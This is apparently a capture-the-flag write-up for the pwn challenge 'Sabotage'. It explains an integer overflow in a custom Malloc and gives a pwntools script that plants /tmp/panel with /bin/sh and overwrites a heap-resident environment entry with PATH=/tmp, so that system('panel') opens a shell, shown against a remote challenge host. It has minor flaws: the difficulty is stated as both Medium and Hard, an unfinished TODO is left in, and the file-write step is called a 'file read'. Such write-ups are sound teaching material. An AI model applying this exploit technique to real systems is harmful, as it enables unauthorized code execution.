Sabotage

15th April 2022 / Document No. D22.102.248

Prepared By: ir0nstone

Challenge Author(s): unicorn

Difficulty: Medium

Classification: Official

Synopsis

Sabotage is a Hard pwn challenge that features an integer overflow in the `Malloc` function and corrupting environment variables in the heap to spawn a shell.

Skills Learned

- Environment variables corruption

Analysis

Protections

First of all, we start with `checksec`:

```
Canary                    : ✓
NX                        : ✓
PIE                       : ✓
Fortify                   : ✘
RelRO                     : Full
```

Protection	Enabled	Usage
Canary	✅	Prevents **Buffer Overflows**
NX	✅	Disables **code execution** on stack

Protection	Enabled	Usage
PIE	✅	Randomizes the **base address** of the binary
RelRO	**Full**	Makes some binary sections **read-only**

All protections are enabled.

The interface of the program looks like this:

We are also given a `README.txt` with the following:

```
$ cat README.txt
We could not retrieve 2 files: [1] panel, [2] selfdestruct
```

What does this mean? Well, let's try and access the control panel:

```
$ ./sabotage

[Miyuki]: The objective is to destroy Thanatos before deliverying the
deadly payload to our base!

+---+---------------------------+
| 1 | Access Control Panel.     |
+---+---------------------------+
| 2 | Use Quantum Destabilizer. |
+---+---------------------------+
| 3 | Combat Fight Thanatos.    |
+---+---------------------------+
| 4 | Intercept communications. |
+---+---------------------------+
| 5 | Abort the mission.        |
+---+---------------------------+
> 1
Access to the control panel of the enemy ship is protected through a
privileged ACCESS code of unpredictable size
[*] ACCESS code length: 1
[*] ACCESS code: a
sh: 1: panel: not found
```

Hmm - it tries to run a `panel` executable using `sh`, but can't find it. This may come in handy.

Disassembly

`main()`

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  welcome();
  while ( 1 )
  {
    action_menu();
    switch ( read_option() )
    {
      case 1LL:
        enter_command_control();
        break;
      case 2LL:
        quantum_destabilizer();
        break;
      case 3LL:
        combat_enemy_destroyer();
      case 4LL:
        intercept_c2_communication();
        break;
      case 5LL:
        puts("[\x1B[31m!\x1B[39m] Aborting the sabotage...");
        exit(0);
      default:
```

```
        continue;
      }
    }
  }
```

A classic menu. `setup()` does the standard buffering stuff, `welcome()` and `action_menu()` just print stuff out.

`read_option()`

```
void __fastcall read_option()
{
  char *buf; // [rsp+0h] [rbp-10h]

  buf = (char *)Malloc(16LL);
  printf("> ");
  fgets(buf, 16, stdin);
  strtol(buf, 0LL, 0);
  Free(buf);
}
```

Huh - there are custom `Malloc()` and `Free()` functions, as opposed to `malloc()` and `free()`. We'll check those out.

`Malloc()` and `Free()`

```
char *__fastcall Malloc(__int64 size)
{
  char *chunk; // [rsp+18h] [rbp-8h]

  chunk = (char *)malloc(size + 8);
  if ( !chunk )
    return 0LL;
  *(_QWORD *)chunk = size;
  return chunk + 8;
}
```

Effectively, `Malloc()` will take in a size and allocate a chunk with a size `8` more than that. The first `8` bytes will contain the size, then the remaining will store the data. `Free()` just accounts for this:

```
void __fastcall Free(void *ptr)
{
  free((char *)ptr - 8);
}
```

`enter_command_control()`

```
void __fastcall enter_command_control()
{
  __int64 len; // [rsp+8h] [rbp-18h] BYREF
  char *code; // [rsp+10h] [rbp-10h]
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  puts("Access to the control panel of the enemy ship is protected through a
privileged ACCESS code of unpredictable size");
  if ( !getenv("ACCESS") )
    setenv("ACCESS", "DENIED", 1);
  printf("[\x1B[34m*\x1B[39m] ACCESS code length: ");
  __isoc99_scanf("%lu", &len);
  code = Malloc(len);
  if ( !code )
  {
    puts("[\x1B[31m!\x1B[39m] Connection is lost, quantum noise is disrupting
the transmission.\n");
    exit(-1);
  }
  printf("[\x1B[34m*\x1B[39m] ACCESS code: ");
  readBuffer(code, len);
  setenv("ACCESS", code, 1);
  system("panel");
}
```

This function is quite simple, it just takes in a length and then allocate a chunk of that size on the heap and reads data in there.

One thing to note here is that there is no size check, so we can enter `0xffffffffffffffff` (or the denary of it, at least, which is `18446744073709551615`). Once this size is passed to `Malloc()`, the chunk it allocates will be `0xffffffffffffffff + 8`, which will integer overflow and wrap around to be a size of `7`! We can see this in GDB:

```
pwndbg> disassemble enter_command_control
Dump of assembler code for function enter_command_control:
[...]
   0x0000000000001759 <+190>:   mov    rdi,rax
   0x000000000000175c <+193>:   call   0x1005 <readBuffer>
   0x0000000000001761 <+198>:   mov    rax,QWORD PTR [rbp-0x10]
[...]
pwndbg> b *enter_command_control+198
Breakpoint 1 at 0x1761
pwndbg> r
Starting program:
/home/ir0nstone/Documents/writeups/sabotage/challenge/sabotage

[Miyuki]: The objective is to destroy Thanatos before deliverying the deadly
payload to our base!

+---+--------------------------+
| 1 | Access Control Panel.    |
```

```
+---+---------------------------+
| 2 | Use Quantum Destabilizer. |
+---+---------------------------+
| 3 | Combat Fight Thanatos.    |
+---+---------------------------+
| 4 | Intercept communications. |
+---+---------------------------+
| 5 | Abort the mission.        |
+---+---------------------------+
> 1
Access to the control panel of the enemy ship is protected through a privileged
ACCESS code of unpredictable size
[*] ACCESS code length: 18446744073709551615
[*] ACCESS code: you

Breakpoint 1, 0x0000555555401761 in enter_command_control ()

pwndbg> vis_heap_chunks

[...]
0x555555604490  0x0000000000000000  0x0000000000000021  ........!.......
0x5555556044a0  0xffffffffffffffff  0x0000000000756f79  ........you.....
0x5555556044b0  0x0000000000000000  0x0000000000020b51  ........Q.......     <-
- Top chunk
```

See how the chunk has a size of `0x21` despite us inputting `0xffffffffffffffff`? That's because `0x20` is the smallest chunk size there can be. Despite this, we have `0xffffffffffffffff` bytes to write!

Note that you may typically think of integer overflow as occurring when we input `-1`. We can actually do that here too! `-1` in memory is simply `0xffffffffffffffff` - we can do it either way.

`quantum_destabilizer()`

```
void __fastcall quantum_destabilizer()
{
  size_t len; // rax
  int fd; // [rsp+4h] [rbp-6Ch]
  char *string; // [rsp+8h] [rbp-68h]
  char *v3; // [rsp+10h] [rbp-60h]
  char filename[8]; // [rsp+18h] [rbp-58h] BYREF
  char dest[32]; // [rsp+20h] [rbp-50h] BYREF
  char data[40]; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 canary; // [rsp+68h] [rbp-8h]

  canary = __readfsqword(0x28u);
  if ( !getenv("ACCESS") )
  {
    string = Malloc(24LL);
    strcpy(string, "ACCESS=DENIED");
    putenv(string);
  }
  printf("[\x1B[34m*\x1B[39m] Quantum destabilizer mount point: ");
  fgets(filename, 8, stdin);
```

```
  if ( strchr(filename, '.') || strchr(filename, '/') )
  {
    puts("[\x1B[31m!\x1B[39m] Thanatos spotted the intrusion, you are shot with
a deadly lazer beam.");
    exit(-1);
  }
  v3 = strchr(filename, '\n');
  if ( v3 )
    *v3 = 0;
  memset(dest, 0, sizeof(dest));
  strcpy(dest, "/tmp/");
  strcat(dest, filename);
  fd = open(dest, 66, 511LL);
  if ( fd == -1 )
  {
    puts("[\x1B[31m!\x1B[39m] Quantum destabilizer failed to penetrate the
shield.");
    exit(-1);
  }
  printf("[\x1B[34m*\x1B[39m] Quantum destablizer is ready to pass a small
armed unit through the enemy's shield: ");
  fgets(data, 32, stdin);
  len = strlen(data);
  write(fd, data, len);
  close(fd);
  puts("[\x1B[32m+\x1B[39m] Quantum destabilizer successfully destablized
Thanatos shield.");
  penetrated_the_shield = 1;
}
```

Quite a long function, but in effect, it allows us to write to a file in `/tmp` of our choice. No vulnerabilities here, but this file read could be useful!

The remaining functions `combat_enemy_destroyer()` and `intercept_c2_communication()` are not of any use, so we won't analyse them here; they are essentially fun random games.

Exploitation

So, we've seen that we can perform a heap overflow. Using heap pointers and metadata is not an easy way to go. Instead, we can abuse the `/tmp` upload functionality.

The program adds an **environment variable** to the program with `setenv` when we try to upload a file for the first time. When this occurs, glibc reallocates the environment list and **places it on the heap**. By overflowing the environment variables, we can impact the behaviour of the system. We can see that there is a `system()` call to `panel`. When this is called, the program accesses the `PATH` environment variable to determine the actual path of `panel` by checking all of the folders in the list. Therefore by overwriting the `PATH` variable you can change which program runs.

This means that if we upload a file called `panel` to `/tmp` and then overwrite the PATH environment variable, we will call `system` on our own bash script!

Uploading the `panel` file

We can easily use the functionality of the program itself:

```
from pwn import *

elf = context.binary = ELF('./sabotage')
p = process()

# upload file
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'point: ', b'panel')
p.sendlineafter(b'shield', b'/bin/sh')
```

Controlling PATH

We're going to access the control panel after this and send some data. We have to `pause()` before this and break just after the call to `readBuffer` (at `enter_command_control+198`), otherwise the program starts forking and it gets harder to keep track.

```
pause()

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'length: ', b'-1')
p.sendlineafter(b'code: ', b'A' * 8)

p.interactive()
```

Hooking on with GDB, we can see that it has been allocated to the heap:

```
pwndbg> vis_heap_chunks
[...]
0x55d918295290  0x0000000000000000  0x0000000000000021  ........!.......
0x55d9182952a0  0xffffffffffffffff  0x0000000041414141  ........AAAAAAAA
0x55d9182952b0  0x0000000000000000  0x0000000000000031  ........1.......
0x55d9182952c0  0x0000000000000018  0x443d535345434341  ........ACCESS=D
0x55d9182952d0  0x0000004445494e45  0x0000000000000000  ENIED...........
0x55d9182952e0  0x0000000000000000  0x00000000000001b1  ................
0x55d9182952f0  0x00007fffe8396395  0x00007fffe83963a5  .c9......c9.....
0x55d918295300  0x00007fffe83963f7  0x00007fffe8396409  .c9......d9.....
0x55d918295310  0x00007fffe839641c  0x00007fffe8396430  .d9.....0d9.....
0x55d918295320  0x00007fffe839646a  0x00007fffe8396481  jd9......d9.....
0x55d918295330  0x00007fffe8396495  0x00007fffe83964be  .d9......d9.....
0x55d918295340  0x00007fffe83964df  0x00007fffe83964f7  .d9......d9.....
0x55d918295350  0x00007fffe839650a  0x00007fffe8396526  .e9.....&e9.....
0x55d918295360  0x00007fffe8396535  0x00007fffe8396560  5e9.....`e9.....
0x55d918295370  0x00007fffe839659a  0x00007fffe83965ac  .e9......e9.....
0x55d918295380  0x00007fffe83965d1  0x00007fffe83965e6  .e9......e9.....
0x55d918295390  0x00007fffe839661a  0x00007fffe8396641  .f9.....Af9.....
0x55d9182953a0  0x00007fffe8396676  0x00007fffe839668b  vf9......f9.....
0x55d9182953b0  0x00007fffe83966a0  0x00007fffe83966b1  .f9......f9.....
0x55d9182953c0  0x00007fffe8396ca0  0x00007fffe8396cb9  .l9......l9.....
0x55d9182953d0  0x00007fffe8396cca  0x00007fffe8396cfe  .l9......l9.....
0x55d9182953e0  0x00007fffe8396d15  0x00007fffe8396d33  .m9.....3m9.....
0x55d9182953f0  0x00007fffe8396d47  0x00007fffe8396d5f  Gm9....._m9.....
0x55d918295400  0x00007fffe8396d6e  0x00007fffe8396d79  nm9.....ym9.....
0x55d918295410  0x00007fffe8396d81  0x00007fffe8396d9a  .m9......m9.....
```

```
0x55d918295420  0x00007fffe8396db5  0x00007fffe8396dc0  .m9......m9.....
0x55d918295430  0x00007fffe8396dd1  0x00007fffe8396df0  .m9......m9.....
0x55d918295440  0x00007fffe8396e04  0x00007fffe8396e22  .n9.....”n9.....
0x55d918295450  0x00007fffe8396e5e  0x00007fffe8396f2b  ^n9.....+o9.....
0x55d918295460  0x00007fffe8396f47  0x00007fffe8396f7d  Go9.....}o9.....
0x55d918295470  0x00007fffe8396f8f  0x00007fffe8396fa6  .o9......o9.....
0x55d918295480  0x000055d9182952c8  0x0000000000000000  .R)..U..........
0x55d918295490  0x0000000000000000  0x0000000000020b71  ........q.......     <-
- Top chunk
```

These pointers hold environment variables:

```
pwndbg> x/s 0x00007ffeecba5352
0x7ffeecba5352: "SHELL=/bin/bash"
pwndbg> x/s 0x00007ffeecba5362
0x7ffeecba5362: "SESSION_MANAGER=local/parrot:@/tmp/.ICE-
unix/1395,unix/parrot:/tmp/.ICE-unix/1395"
```

This includes the last *heap* address, which is the new one set by the process:

TODO mention where!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

```
pwndbg> x/s 0x0000559f6c92e2c8
0x559f6c92e2c8: "ACCESS=DENIED"
```

Right near the end is `PATH`:

```
pwndbg> x/s 0x00007ffeecba5e1b
0x7ffeecba5e1b:
"PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games
:/usr/local/sbin:/usr/sbin:/sbin:/home/ir0nstone/.local/bin:/snap/bin:/usr/loca
l/bin:/usr/bin:/bin:/usr/local/games:/usr/g"...
```

We have no leak, so we can't just overwrite the PATH entry. Instead, we can overwrite the `ACCESS=DENIED` chunk to `PATH=/tmp`, which will overwrite the `PATH`!

From the heap output above, we see there is an offset of `32` bytes from the start of our input to the `ACCESS` environment variable:

```
0x55d9182952a0  0xffffffffffffffff  0x0000000041414141  ........AAAAAAAA    8
bytes
0x55d9182952b0  0x0000000000000000  0x0000000000000031  ........1.......    16
bytes
0x55d9182952c0  0x0000000000000018  0x443d535345434341  ........ACCESS=D    8
bytes -> ACCESS
0x55d9182952d0  0x0000004445494e45  0x0000000000000000  ENIED...........
```

So all we have to do is

```
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'length: ', b'-1')
p.sendlineafter(b'code: ', b'A' * 32 + b'PATH=/tmp\x00')

p.interactive()
```

And we pop a shell! Unfortunately, because we've screwed up PATH, we can't just use `ls`, we have to use the full path `/bin/ls`:

```
$ python3 exploit.py
[+] Starting local process './sabotage': pid 9594
[*] Switching to interactive mode
$ ls
/bin/sh: 3: ls: not found
$ /bin/ls
flag.txt
```

Alternatively we can just reset PATH. Now we can just switch it to remote and get the flag!

```
$ python3 exploit.py
[+] Opening connection to 94.237.58.211 on port 35910: Done
[*] Switching to interactive mode
$ /bin/cat flag.txt
HTB{FLAG}
```